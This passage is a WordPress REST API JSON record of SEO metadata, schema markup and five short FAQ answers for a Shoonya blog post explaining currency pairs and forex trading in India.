smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208171960\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208171960\",\"name\":\"Can I trade currency pairs in the Indian stock market?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes, you can trade currency pairs through the forex market, which operates 24 hours a day, five days a week.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208185612\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208185612\",\"name\":\"What factors influence currency pair movements?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Currency pair movements are influenced by economic indicators, central bank policies, political events, and global economic trends.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208198973\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208198973\",\"name\":\"What are the major pairs in forex?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"In India, the major currency pairs include, Indian Currency Pairs- USD-INR, EUR-INR, GBP-INR, JPY-INR and Cross Currency Pairs- EUR-USD, GBP-USD, and USD-JPY.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208213197\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208213197\",\"name\":\"What are currency pairs?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Currency pairs represent the relative value of one currency against another in the forex market. The first currency is the base, and the second is the quote. The exchange rate shows how much of the quote currency is needed to buy one unit of the base currency.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208225395\",\"position\":5,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/understanding-currency-pairs-and-their-trading-procedure-in-india\\\/#faq-question-1700208225395\",\"name\":\"Is forex trading in India legal?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes, forex trading is legal in India, but it is subject to certain regulations and restrictions imposed by the Reserve Bank of India (RBI).\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Understanding Currency Pairs and Their Trading Procedure in India","description":"Learn about the most commonly traded currency pairs in India and their trading procedures. Read to know more!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/","og_locale":"en_US","og_type":"article","og_title":"Understanding Currency Pairs and Their Trading Procedure in India","og_description":"Learn about the most commonly traded currency pairs in India and their trading procedures. Read to know more!","og_url":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2022-12-24T04:30:02+00:00","article_modified_time":"2023-11-17T08:04:12+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Currency-pairs-and-their-trading.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Understanding Currency Pairs and Their Trading Procedure in India","datePublished":"2022-12-24T04:30:02+00:00","dateModified":"2023-11-17T08:04:12+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/"},"wordCount":679,"image":{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Currency-pairs-and-their-trading.jpg","keywords":["Currency pairs","earn profits","KYC procedure","Trading in Currency pairs","Trading in India","USD-INR"],"articleSection":["Currencies"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/","url":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/","name":"Understanding Currency Pairs and Their Trading Procedure in India","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Currency-pairs-and-their-trading.jpg","datePublished":"2022-12-24T04:30:02+00:00","dateModified":"2023-11-17T08:04:12+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Learn about the most commonly traded currency pairs in India and their trading procedures. Read to know more!","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208171960"},{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208185612"},{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208198973"},{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208213197"},{"@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208225395"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Currency-pairs-and-their-trading.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2022\/12\/Currency-pairs-and-their-trading.jpg","width":1920,"height":1080,"caption":"Currency Pairs and Their Trading"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Investing","item":"https:\/\/shoonya.com\/blog\/investing\/"},{"@type":"ListItem","position":3,"name":"Currencies","item":"https:\/\/shoonya.com\/blog\/investing\/currencies\/"},{"@type":"ListItem","position":4,"name":"Understanding Currency Pairs and Their Trading Procedure in India"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208171960","position":1,"url":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208171960","name":"Can I trade currency pairs in the Indian stock market?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes, you can trade currency pairs through the forex market, which operates 24 hours a day, five days a week.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208185612","position":2,"url":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208185612","name":"What factors influence currency pair movements?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Currency pair movements are influenced by economic indicators, central bank policies, political events, and global economic trends.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208198973","position":3,"url":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208198973","name":"What are the major pairs in forex?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"In India, the major currency pairs include, Indian Currency Pairs- USD-INR, EUR-INR, GBP-INR, JPY-INR and Cross Currency Pairs- EUR-USD, GBP-USD, and USD-JPY.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208213197","position":4,"url":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208213197","name":"What are currency pairs?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Currency pairs represent the relative value of one currency against another in the forex market. The first currency is the base, and the second is the quote. The exchange rate shows how much of the quote currency is needed to buy one unit of the base currency.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208225395","position":5,"url":"https:\/\/shoonya.com\/blog\/understanding-currency-pairs-and-their-trading-procedure-in-india\/#faq-question-1700208225395","name":"Is forex trading in India legal?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Yes, forex trading is legal in India, but it is subject to certain regulations and restrictions imposed by the Reserve Bank of India (RBI).","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/190","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=190"}],"version-history":[{"count":6,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/190\/revisions"}],"predecessor-version":[{"id":5632,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/190\/revisions\/5632"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/373"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=190"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=190"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=190"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}